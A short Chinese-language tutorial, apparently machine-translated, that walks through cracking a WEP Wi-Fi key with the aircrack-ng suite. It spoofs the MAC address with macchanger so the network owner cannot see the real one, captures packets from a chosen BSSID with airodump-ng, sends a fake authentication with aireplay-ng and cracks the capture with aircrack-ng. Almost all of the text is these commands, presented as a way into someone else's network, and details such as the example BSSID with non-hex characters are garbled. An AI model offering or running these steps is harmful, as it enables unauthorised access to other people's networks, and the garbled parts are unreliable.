现在，我们必须准备好你的无线网卡。类型：airmon-ng你会看到你的无线网卡的名称。（被命名为“ATH0”）从替换“ ATH0”。现在键入：airmon-ng stop ath0ifconfig w
.
现在，我们必须准备好你的无线网卡。
类型：
airmon-ng
你会看到你的无线网卡的名称。（被命名为“ATH0”）从替换“ ATH0”。
现在键入：
airmon-ng stop ath0
ifconfig wifi0 down
macchanger --mac 00:11:22:33:44:55 wifi0
airmon-ng start wifi0
这些步骤做的是欺骗（假冒）的MAC地址，他们不会看到你的实际MAC地址。
airodump-ng ath0 扫描
一旦你决定在网络上，注意到它的渠道数量和BSSID 。该BSSID会是这个样子 - > 05:GK:30:FO:S9:2N该通道号将是一个标题，说“CH”下。
现在，在同一个Konsole的窗口中，键入：
airodump-ng -c (channel) -w (file name) --bssid (bssid) ath0 抓包
文件名可以是任何你想要的。这很简单，就是airodump中的地方将存储的信息您收到以后破解数据包。
如果你抓到至少IV 5000 ，你可以尝试破解密码。
aireplay-ng -1 0 -a (bssid) -h 00:11:22:33:44:55 ath0
aircrack-ng -b (bssid) (filename)-抓到包的文件.cap 破解
